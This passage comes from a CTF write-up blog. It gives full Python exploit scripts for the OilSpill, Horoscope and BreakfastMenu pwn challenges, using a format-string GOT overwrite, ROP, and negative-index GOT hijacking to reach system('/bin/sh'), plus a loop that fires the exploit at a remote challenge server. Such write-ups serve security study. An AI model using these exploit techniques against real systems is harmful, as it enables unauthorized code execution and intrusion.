overwritting</code> to do <code>rop</code>, and I found that there&rsquo;s a gadget <code>add rsp, 0x38; pop rbx; pop rbp; pop r12; pop r13; pop r14; pop r15; ret;</code> nearby puts@glibc.</p> <div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt">1 </span><span class="lnt">2 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-fallback" data-lang="fallback"><span class="line"><span class="cl">0x0000000000080344: add rsp, 0x38; pop rbx; pop rbp; pop r12; pop r13; pop r14; pop r15; ret; </span></span><span class="line"><span class="cl">000000000000080970 512 FUNC GLOBAL DEFAULT 13 _IO_puts@@GLIBC_2.2.5</span></span></code></pre></td></tr></table> </div> </div><p>To guess half a byte of the gadget, and use <code>fmt-attack</code> to modify the lowest <code>2</code> bytes of <code>puts@got</code>. then make use of <code>magic gadget</code> to change <code>printf@got</code> to <code>one gadget</code> and call printf to get shell.</p> <h3 class="heading-element" id="exp"><span>EXP</span> <a href="#exp" class="heading-mark"> <svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"></path></svg> </a> </h3><div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt"> 1 </span><span class="lnt"> 2 </span><span class="lnt"> 3 </span><span class="lnt"> 4 </span><span class="lnt"> 5 </span><span class="lnt"> 6 </span><span class="lnt"> 7 </span><span class="lnt"> 8 </span><span class="lnt"> 9 </span><span class="lnt">10 </span><span class="lnt">11 </span><span class="lnt">12 </span><span class="lnt">13 </span><span class="lnt">14 </span><span class="lnt">15 </span><span class="lnt">16 </span><span class="lnt">17 </span><span class="lnt">18 </span><span class="lnt">19 </span><span class="lnt">20 </span><span class="lnt">21 </span><span class="lnt">22 </span><span class="lnt">23 </span><span class="lnt">24 </span><span class="lnt">25 </span><span class="lnt">26 </span><span class="lnt">27 </span><span class="lnt">28 </span><span class="lnt">29 </span><span class="lnt">30 </span><span class="lnt">31 </span><span class="lnt">32 </span><span class="lnt">33 </span><span class="lnt">34 </span><span class="lnt">35 </span><span class="lnt">36 </span><span class="lnt">37 </span><span class="lnt">38 </span><span class="lnt">39 </span><span class="lnt">40 </span><span class="lnt">41 </span><span class="lnt">42 </span><span class="lnt">43 </span><span class="lnt">44 </span><span class="lnt">45 </span><span class="lnt">46 </span><span class="lnt">47 </span><span class="lnt">48 </span><span class="lnt">49 </span><span class="lnt">50 </span><span class="lnt">51 </span><span class="lnt">52 </span><span class="lnt">53 </span><span class="lnt">54 </span><span class="lnt">55 </span><span class="lnt">56 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="ch">#!/usr/bin/python3</span> </span></span><span class="line"><span class="cl"><span class="c1"># -*- encoding: utf-8 -*-</span> </span></span><span class="line"><span class="cl"><span class="c1"># author: roderick</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">pwncli</span> <span class="kn">import</span> <span class="o">*</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="n">cli_script</span><span class="p">()</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="n">set_remote_libc</span><span class="p">(</span><span class="s2">&#34;./libc-2.27.so&#34;</span><span class="p">)</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="n">io</span><span class="p">:</span> <span class="n">tube</span> <span class="o">=</span> <span class="n">gift</span><span class="p">[</span><span class="s1">&#39;io&#39;</span><span class="p">]</span> </span></span><span class="line"><span class="cl"><span class="n">elf</span><span class="p">:</span> <span class="n">ELF</span> <span class="o">=</span> <span class="n">gift</span><span class="p">[</span><span class="s1">&#39;elf&#39;</span><span class="p">]</span> </span></span><span class="line"><span class="cl"><span class="n">libc</span><span class="p">:</span> <span class="n">ELF</span> <span class="o">=</span> <span class="n">gift</span><span class="p">[</span><span class="s1">&#39;libc&#39;</span><span class="p">]</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="c1"># offset 8</span> </span></span><span class="line"><span class="cl"><span class="n">magic</span> <span class="o">=</span> <span class="mh">0x400658</span> </span></span><span class="line"><span class="cl"><span class="n">pop_rbx</span> <span class="o">=</span> <span class="mh">0x4007DA</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="n">write_num</span> <span class="o">=</span> <span class="mi">10099</span> <span class="c1"># 0x0000000000080773: add rsp, 0x48; pop rbx; pop rbp; pop r12; pop r13; pop r14; pop r15; ret;</span> </span></span><span class="line"><span class="cl"><span class="n">printf_off</span> <span class="o">=</span> <span class="mh">0x64f70</span> </span></span><span class="line"><span class="cl"><span class="n">og_off</span> <span class="o">=</span> <span class="mh">0x4f432</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="k">if</span> <span class="n">gift</span><span class="o">.</span><span class="n">remote</span><span class="p">:</span> </span></span><span class="line"><span class="cl"> <span class="n">write_num</span> <span class="o">=</span> <span class="mi">9028</span> </span></span><span class="line"><span class="cl"> <span class="n">printf_off</span> <span class="o">=</span> <span class="mh">0x64e40</span> </span></span><span class="line"><span class="cl"> <span class="n">og_off</span> <span class="o">=</span> <span class="mh">0x4f302</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="n">data</span> <span class="o">=</span> <span class="n">flat_z</span><span class="p">({</span> </span></span><span class="line"><span class="cl"> <span class="mi">0</span><span class="p">:{</span> </span></span><span class="line"><span class="cl"> <span class="mi">0</span><span class="p">:</span> <span class="sa">f</span><span class="s2">&#34;%</span><span class="si">{</span><span class="n">write_num</span><span class="si">}</span><span class="s2">c%40$hn&#34;</span><span class="p">,</span> </span></span><span class="line"><span class="cl"> <span class="mi">80</span><span class="p">:</span> <span class="p">[</span> </span></span><span class="line"><span class="cl"> <span class="mh">0x400772</span><span class="p">,</span> </span></span><span class="line"><span class="cl"> <span class="mh">0x400772</span><span class="p">,</span> <span class="c1"># ret</span> </span></span><span class="line"><span class="cl"> <span class="n">pop_rbx</span><span class="p">,</span> </span></span><span class="line"><span class="cl"> <span class="mh">0x100000000</span> <span class="o">+</span> <span class="n">og_off</span> <span class="o">-</span> <span class="n">printf_off</span><span class="p">,</span> <span class="c1"># printf,</span> </span></span><span class="line"><span class="cl"> <span class="mh">0x600c20</span> <span class="o">+</span> <span class="mh">0x3d</span><span class="p">,</span> </span></span><span class="line"><span class="cl"> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> <span class="mi">0</span><span class="p">,</span> </span></span><span class="line"><span class="cl"> <span class="n">magic</span><span class="p">,</span> </span></span><span class="line"><span class="cl"> <span class="mh">0x400588</span><span class="p">,</span> <span class="c1">#printf</span> </span></span><span class="line"><span class="cl"> <span class="p">]</span> </span></span><span class="line"><span class="cl"> <span class="p">},</span> </span></span><span class="line"><span class="cl"> <span class="p">},</span> <span class="n">length</span><span class="o">=</span><span class="mh">0x100</span><span class="p">)</span> <span class="o">+</span> <span class="n">p64_ex</span><span class="p">(</span><span class="mh">0x600c18</span><span class="p">)</span> <span class="c1"># puts</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="n">sleep</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span> </span></span><span class="line"><span class="cl"><span class="n">sl</span><span class="p">(</span><span class="n">data</span><span class="p">)</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="n">m</span> <span class="o">=</span> <span class="n">rls</span><span class="p">(</span><span class="s2">&#34;0x&#34;</span><span class="p">)</span><span class="o">.</span><span class="n">split</span><span class="p">(</span><span class="sa">b</span><span class="s2">&#34;,&#34;</span><span class="p">)</span> </span></span><span class="line"><span class="cl"><span class="n">libc_base</span> <span class="o">=</span> <span class="n">int16_ex</span><span class="p">(</span><span class="n">m</span><span class="p">[</span><span class="mi">0</span><span class="p">])</span> <span class="o">-</span> <span class="n">libc</span><span class="o">.</span><span class="n">sym</span><span class="o">.</span><span class="n">puts</span> </span></span><span class="line"><span class="cl"><span class="n">log_address</span><span class="p">(</span><span class="s2">&#34;libc_base&#34;</span><span class="p">,</span> <span class="n">libc_base</span><span class="p">)</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="k">if</span> <span class="p">(</span><span class="n">libc_base</span> <span class="o">&amp;</span> <span class="mh">0xffff</span><span class="p">)</span> <span class="o">==</span> <span class="mh">0x2000</span><span class="p">:</span> </span></span><span class="line"><span class="cl"> <span class="n">log_ex_highlight</span><span class="p">(</span><span class="s2">&#34;get shell!&#34;</span><span class="p">)</span> </span></span><span class="line"><span class="cl"> <span class="n">sl</span><span class="p">(</span><span class="s2">&#34;cat flag.txt&#34;</span><span class="p">)</span> </span></span><span class="line"><span class="cl"> <span class="n">ia</span><span class="p">()</span> </span></span><span class="line"><span class="cl"><span class="k">else</span><span class="p">:</span> </span></span><span class="line"><span class="cl"> <span class="n">ic</span><span class="p">()</span></span></span></code></pre></td></tr></table> </div> </div><p>use command : <code>for i in $(seq 1 8); do ./exp.py re ./OilSpill oil.sdc.tf:1337 -nl; done</code> to enumerate and get shell.</p> <p><img loading="lazy" src='https://image.roderickchan.cn/img/image-20220508213922905.png' alt="image-20220508213922905"></p> <h2 class="heading-element" id="horoscope"><span>Horoscope</span> <a href="#horoscope" class="heading-mark"> <svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"></path></svg> </a> </h2><p>A basic rop task</p> <h3 class="heading-element" id="vulnerability-1"><span>Vulnerability</span> <a href="#vulnerability-1" class="heading-mark"> <svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"></path></svg> </a> </h3><p><img loading="lazy" src='https://image.roderickchan.cn/img/image-20220508215543397.png' alt="image-20220508215543397"></p> <p>and there are two functions to help you get shell:</p> <p><img loading="lazy" src='https://image.roderickchan.cn/img/image-20220508215628900.png' alt="image-20220508215628900"></p> <p><img loading="lazy" src='https://image.roderickchan.cn/img/image-20220508215638710.png' alt="image-20220508215638710"></p> <h3 class="heading-element" id="exp-1"><span>EXP</span> <a href="#exp-1" class="heading-mark"> <svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"></path></svg> </a> </h3><div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt"> 1 </span><span class="lnt"> 2 </span><span class="lnt"> 3 </span><span class="lnt"> 4 </span><span class="lnt"> 5 </span><span class="lnt"> 6 </span><span class="lnt"> 7 </span><span class="lnt"> 8 </span><span class="lnt"> 9 </span><span class="lnt">10 </span><span class="lnt">11 </span><span class="lnt">12 </span><span class="lnt">13 </span><span class="lnt">14 </span><span class="lnt">15 </span><span class="lnt">16 </span><span class="lnt">17 </span><span class="lnt">18 </span><span class="lnt">19 </span><span class="lnt">20 </span><span class="lnt">21 </span><span class="lnt">22 </span><span class="lnt">23 </span><span class="lnt">24 </span><span class="lnt">25 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="ch">#!/usr/bin/python3</span> </span></span><span class="line"><span class="cl"><span class="c1"># -*- encoding: utf-8 -*-</span> </span></span><span class="line"><span class="cl"><span class="c1"># author: roderick</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">pwncli</span> <span class="kn">import</span> <span class="o">*</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="n">cli_script</span><span class="p">()</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="n">io</span><span class="p">:</span> <span class="n">tube</span> <span class="o">=</span> <span class="n">gift</span><span class="p">[</span><span class="s1">&#39;io&#39;</span><span class="p">]</span> </span></span><span class="line"><span class="cl"><span class="n">elf</span><span class="p">:</span> <span class="n">ELF</span> <span class="o">=</span> <span class="n">gift</span><span class="p">[</span><span class="s1">&#39;elf&#39;</span><span class="p">]</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="n">sl</span><span class="p">(</span><span class="n">flat</span><span class="p">({</span> </span></span><span class="line"><span class="cl"> <span class="mi">0</span><span class="p">:</span> <span class="s2">&#34;1/1/1/1/&#34;</span><span class="p">,</span> </span></span><span class="line"><span class="cl"> <span class="mi">8</span><span class="p">:</span> <span class="p">{</span> </span></span><span class="line"><span class="cl"> <span class="mi">48</span><span class="p">:</span> <span class="p">[</span> </span></span><span class="line"><span class="cl"> <span class="n">elf</span><span class="o">.</span><span class="n">sym</span><span class="o">.</span><span class="n">debug</span><span class="p">,</span> </span></span><span class="line"><span class="cl"> <span class="n">elf</span><span class="o">.</span><span class="n">sym</span><span class="o">.</span><span class="n">test</span> </span></span><span class="line"><span class="cl"> <span class="p">]</span> </span></span><span class="line"><span class="cl"> <span class="p">}</span> </span></span><span class="line"><span class="cl"><span class="p">}))</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="n">r</span><span class="p">()</span> </span></span><span class="line"><span class="cl"><span class="n">sl</span><span class="p">(</span><span class="s2">&#34;cat flag.txt&#34;</span><span class="p">)</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="n">ia</span><span class="p">()</span></span></span></code></pre></td></tr></table> </div> </div><p>attack remote host:</p> <p><img loading="lazy" src='https://image.roderickchan.cn/img/image-20220508215730626.png' alt="image-20220508215730626"></p> <h2 class="heading-element" id="breakfastmenu"><span>BreakfastMenu</span> <a href="#breakfastmenu" class="heading-mark"> <svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"></path></svg> </a> </h2><p>Heap related, maybe.</p> <h3 class="heading-element" id="checksec-1"><span>Checksec</span> <a href="#checksec-1" class="heading-mark"> <svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"></path></svg> </a> </h3><p><img loading="lazy" src='https://image.roderickchan.cn/img/image-20220508215815359.png' alt="image-20220508215815359"></p> <p>The remote glibc version is also <code>libc6_2.27-3ubuntu1.5_amd64</code>.</p> <h3 class="heading-element" id="vulnerability-2"><span>Vulnerability</span> <a href="#vulnerability-2" class="heading-mark"> <svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"></path></svg> </a> </h3><p>The <code>idx</code> could be a negative number, I call it as <code>int overflow</code>:</p> <p><img loading="lazy" src='https://image.roderickchan.cn/img/image-20220508215935838.png' alt="image-20220508215935838"></p> <h3 class="heading-element" id="solution-1"><span>Solution</span> <a href="#solution-1" class="heading-mark"> <svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"></path></svg> </a> </h3><p>The steps:</p> <ul> <li> <p>create a new order</p> </li> <li> <p>use <code>int overflow</code> to replace <code>got@free</code> with <code>puts@plt</code> and replace <code>exit@got</code> with <code>malloc@got</code></p> </li> <li> <p>use <code>int overflow</code> to delete an order related <code>malloc@got</code>, actually, it leaks the real address of <code>malloc</code> function</p> </li> <li> <p>use <code>int overflow</code> to modify <code>free@got</code> to <code>system</code>, which is gained by the address of <code>malloc</code></p> </li> <li> <p>delete an order with <code>/bin/sh</code> to get shell</p> </li> </ul> <h3 class="heading-element" id="exp-2"><span>EXP</span> <a href="#exp-2" class="heading-mark"> <svg class="octicon octicon-link" viewBox="0 0 16 16" version="1.1" width="16" height="16" aria-hidden="true"><path d="m7.775 3.275 1.25-1.25a3.5 3.5 0 1 1 4.95 4.95l-2.5 2.5a3.5 3.5 0 0 1-4.95 0 .751.751 0 0 1 .018-1.042.751.751 0 0 1 1.042-.018 1.998 1.998 0 0 0 2.83 0l2.5-2.5a2.002 2.002 0 0 0-2.83-2.83l-1.25 1.25a.751.751 0 0 1-1.042-.018.751.751 0 0 1-.018-1.042Zm-4.69 9.64a1.998 1.998 0 0 0 2.83 0l1.25-1.25a.751.751 0 0 1 1.042.018.751.751 0 0 1 .018 1.042l-1.25 1.25a3.5 3.5 0 1 1-4.95-4.95l2.5-2.5a3.5 3.5 0 0 1 4.95 0 .751.751 0 0 1-.018 1.042.751.751 0 0 1-1.042.018 1.998 1.998 0 0 0-2.83 0l-2.5 2.5a1.998 1.998 0 0 0 0 2.83Z"></path></svg> </a> </h3><div class="highlight"><div class="chroma"> <table class="lntable"><tr><td class="lntd"> <pre tabindex="0" class="chroma"><code><span class="lnt"> 1 </span><span class="lnt"> 2 </span><span class="lnt"> 3 </span><span class="lnt"> 4 </span><span class="lnt"> 5 </span><span class="lnt"> 6 </span><span class="lnt"> 7 </span><span class="lnt"> 8 </span><span class="lnt"> 9 </span><span class="lnt">10 </span><span class="lnt">11 </span><span class="lnt">12 </span><span class="lnt">13 </span><span class="lnt">14 </span><span class="lnt">15 </span><span class="lnt">16 </span><span class="lnt">17 </span><span class="lnt">18 </span><span class="lnt">19 </span><span class="lnt">20 </span><span class="lnt">21 </span><span class="lnt">22 </span><span class="lnt">23 </span><span class="lnt">24 </span><span class="lnt">25 </span><span class="lnt">26 </span><span class="lnt">27 </span><span class="lnt">28 </span><span class="lnt">29 </span><span class="lnt">30 </span><span class="lnt">31 </span><span class="lnt">32 </span><span class="lnt">33 </span><span class="lnt">34 </span><span class="lnt">35 </span><span class="lnt">36 </span><span class="lnt">37 </span><span class="lnt">38 </span><span class="lnt">39 </span><span class="lnt">40 </span><span class="lnt">41 </span><span class="lnt">42 </span><span class="lnt">43 </span><span class="lnt">44 </span></code></pre></td> <td class="lntd"> <pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="cl"><span class="ch">#!/usr/bin/python3</span> </span></span><span class="line"><span class="cl"><span class="c1"># -*- encoding: utf-8 -*-</span> </span></span><span class="line"><span class="cl"><span class="c1"># author: roderick</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="kn">from</span> <span class="nn">pwncli</span> <span class="kn">import</span> <span class="o">*</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="n">cli_script</span><span class="p">()</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="n">set_remote_libc</span><span class="p">(</span><span class="s2">&#34;./libc-2.27.so&#34;</span><span class="p">)</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="n">io</span><span class="p">:</span> <span class="n">tube</span> <span class="o">=</span> <span class="n">gift</span><span class="p">[</span><span class="s1">&#39;io&#39;</span><span class="p">]</span> </span></span><span class="line"><span class="cl"><span class="n">elf</span><span class="p">:</span> <span class="n">ELF</span> <span class="o">=</span> <span class="n">gift</span><span class="p">[</span><span class="s1">&#39;elf&#39;</span><span class="p">]</span> </span></span><span class="line"><span class="cl"><span class="n">libc</span><span class="p">:</span> <span class="n">ELF</span> <span class="o">=</span> <span class="n">gift</span><span class="p">[</span><span class="s1">&#39;libc&#39;</span><span class="p">]</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">create</span><span class="p">():</span> </span></span><span class="line"><span class="cl"> <span class="n">sla</span><span class="p">(</span><span class="s2">&#34;4. Pay your bill and leave</span><span class="se">\n</span><span class="s2">&#34;</span><span class="p">,</span> <span class="s2">&#34;1&#34;</span><span class="p">)</span> </span></span><span class="line"><span class="cl"> <span class="n">ru</span><span class="p">(</span><span class="s2">&#34;A new order has been created</span><span class="se">\n</span><span class="s2">&#34;</span><span class="p">)</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">edit</span><span class="p">(</span><span class="n">i</span><span class="p">,</span> <span class="n">data</span><span class="p">):</span> </span></span><span class="line"><span class="cl"> <span class="n">sla</span><span class="p">(</span><span class="s2">&#34;4. Pay your bill and leave</span><span class="se">\n</span><span class="s2">&#34;</span><span class="p">,</span> <span class="s2">&#34;2&#34;</span><span class="p">)</span> </span></span><span class="line"><span class="cl"> <span class="n">sla</span><span class="p">(</span><span class="s2">&#34;which order would you like to modify</span><span class="se">\n</span><span class="s2">&#34;</span><span class="p">,</span> <span class="nb">str</span><span class="p">(</span><span class="n">i</span><span class="p">))</span> </span></span><span class="line"><span class="cl"> <span class="n">sla</span><span class="p">(</span><span class="s2">&#34;What would you like to order?</span><span class="se">\n</span><span class="s2">&#34;</span><span class="p">,</span> <span class="n">data</span><span class="p">)</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="k">def</span> <span class="nf">dele</span><span class="p">(</span><span class="n">i</span><span class="p">):</span> </span></span><span class="line"><span class="cl"> <span class="n">sla</span><span class="p">(</span><span class="s2">&#34;4. Pay your bill and leave</span><span class="se">\n</span><span class="s2">&#34;</span><span class="p">,</span> <span class="s2">&#34;3&#34;</span><span class="p">)</span> </span></span><span class="line"><span class="cl"> <span class="n">sla</span><span class="p">(</span><span class="s2">&#34;which order would you like to remove</span><span class="se">\n</span><span class="s2">&#34;</span><span class="p">,</span> <span class="nb">str</span><span class="p">(</span><span class="n">i</span><span class="p">))</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="n">create</span><span class="p">()</span> </span></span><span class="line"><span class="cl"><span class="n">edit</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="s2">&#34;/bin/sh&#34;</span><span class="p">)</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="n">edit</span><span class="p">(</span><span class="o">-</span><span class="mi">7</span><span class="p">,</span> <span class="n">p64</span><span class="p">(</span><span class="n">elf</span><span class="o">.</span><span class="n">plt</span><span class="o">.</span><span class="n">puts</span><span class="p">)</span> <span class="o">+</span> <span class="n">p64</span><span class="p">(</span><span class="n">elf</span><span class="o">.</span><span class="n">got</span><span class="o">.</span><span class="n">free</span><span class="p">))</span> </span></span><span class="line"><span class="cl"><span class="n">edit</span><span class="p">(</span><span class="o">-</span><span class="mi">7</span><span class="p">,</span> <span class="n">p64</span><span class="p">(</span><span class="n">elf</span><span class="o">.</span><span class="n">got</span><span class="o">.</span><span class="n">malloc</span><span class="p">)</span> <span class="o">+</span> <span class="n">p64</span><span class="p">(</span><span class="n">elf</span><span class="o">.</span><span class="n">got</span><span class="o">.</span><span class="n">exit</span><span class="p">))</span> </span></span><span class="line"><span class="cl"> </span></span><span class="line"><span class="cl"><span class="n">dele</span><span class="p">(</span><span class="o">-</span><span class="mi">15</span><span class="p">)</span> </span></span><span class="line"><span class="cl"><span class="n">libc_base</span> <span class="o">=</span> <span class="n">recv_current_libc_addr</span><span class="p">(</span><span class="n">offset</span><span class="o">=</span><span class="n">libc</span><span class="o">.</span><span class="n">sym</span><span class="o">.</span><span class="n">malloc</span><span 